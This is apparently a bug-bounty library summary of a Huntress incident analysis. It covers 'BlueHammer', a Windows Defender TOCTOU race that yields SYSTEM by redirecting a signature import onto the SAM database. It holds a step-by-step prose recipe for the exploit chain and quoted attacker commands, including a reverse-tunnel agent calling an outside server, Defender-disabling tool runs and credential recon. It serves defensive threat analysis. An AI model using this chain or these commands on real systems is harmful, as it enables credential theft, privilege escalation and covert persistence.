# Nightmare-Eclipse Tooling Seen in Real-World Intrusion

BlueHammer abuses a Windows Defender TOCTOU race, freezing Defender with a VSS snapshot to redirect its signature update read onto the SAM database, yielding SYSTEM.

- Payout: Real-world hack
- Severity: high
- Program: Microsoft
- Analysis by: Huntress
- Disclosed: 2026-04-20
- CVE: CVE-2026-33825
- Write-up quality: 8/10
- Original: https://www.huntress.com/blog/nightmare-eclipse-intrusion
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-nightmare-eclipse-intrusion
- Tags: area:cloud domain:infra impact:internal-access impact:privesc kind:incident platform:threat-intel sev:high tech:windows technique:race-window technique:source-review vuln:privilege-escalation vuln:race-condition

**Target:** Windows Defender signature update pipeline / SAM database
**Root cause:** Defender's signature-update import follows a redirectable path that can be swapped between check and use (TOCTOU), and Defender can be suspended indefinitely via an oplock while a frozen VSS snapshot holds an unlocked SAM copy.
**Steps:**
1. Poll Windows Update API for a pending update and copy its files.
2. Write an AV test string to disk to force Defender to create a frozen VSS snapshot; monitor for its creation.
3. Lock a system file Defender accesses mid-scan; when the lock breaks, scan is confirmed in progress.
4. Register a fake cloud sync provider (OneDrive-like) with a file inside; its enumeration callback reveals the caller identity, confirming Defender.
5. Place a lock on the file, then deliver the directory listing so Defender opens it for scanning; the open suspends Defender's scan thread indefinitely.
6. Construct a redirectable path to staged update files and instruct Defender via its internal update interface to import a signature update from there.
7. When Defender opens the primary definition file, a lock fires; swap the path to point into the frozen VSS snapshot at the SAM database, and map the expected filename to that target.
8. Release the lock; Defender reads the SAM as a definition file and writes it to its output directory; BlueHammer opens the destination and gets a handle to the SAM.
9. Parse the SAM hive, decrypt NT hashes, temporarily set each user's password to $PWNed666!!!WDFAIL, generate admin sessions, then copy the SYSTEM token to spawn SYSTEM processes.
**How found:** Huntress correlated customer endpoint telemetry (Defender quarantine of Exploit:Win32/DfndrPEBluHmr.BZ, EICAR alerts) with public Nightmare-Eclipse PoC filenames, then pulled VPN logs showing the same account authenticating from Russia, Singapore and Switzerland, and analyzed the agent.exe tunnel binary.
**Exploitation:** In the intrusion, binaries FunnyApp.exe (BlueHammer build), RedSun.exe, undef.exe and z.exe were staged in user-writable Pictures/Downloads subfolders; BlueHammer was quarantined by Defender and did not extract SAM credentials, RedSun failed to overwrite System32, and UnDefend was terminated by the SOC. Follow-on hands-on-keyboard recon (whoami /priv, cmdkey /list, net group) and a BeigeBurrow yamux reverse tunnel (agent.exe -server staybud.dpdns[.]org:443 -hide) provided access maintenance.
**Escalation:** Unprivileged user to SYSTEM via SAM hash extraction and token theft; combined with likely FortiGate SSL VPN initial access and a multiplexed reverse tunnel for persistence.
**Insight:** Defender's own remediation and update paths create privileged file operations (VSS snapshots, cloud-placeholder restores, signature imports) that follow attacker-influenced paths; oplocks and fake cloud-sync callbacks give precise synchronization to widen otherwise tiny TOCTOU windows.

## Proof of concept (copied exactly from the original report)

**BeigeBurrow tunnel agent command line**

```
agent.exe -server staybud.dpdns[.]org:443 -hide
```

**UnDefend execution commands with flags**

```
C:\Users\[REDACTED]\Downloads\ks\undef.exe
 
- C:\Users\[REDACTED]\Downloads\ks\undef.exe -h
 
- C:\Users\[REDACTED]\Downloads\kk\undef.exe -agressive
 
- C:\Users\[REDACTED]\Downloads\ks\z.exe
```

**Hands-on-keyboard enumeration commands**

```
whoami /priv
 
- cmdkey /list
 
- net group
```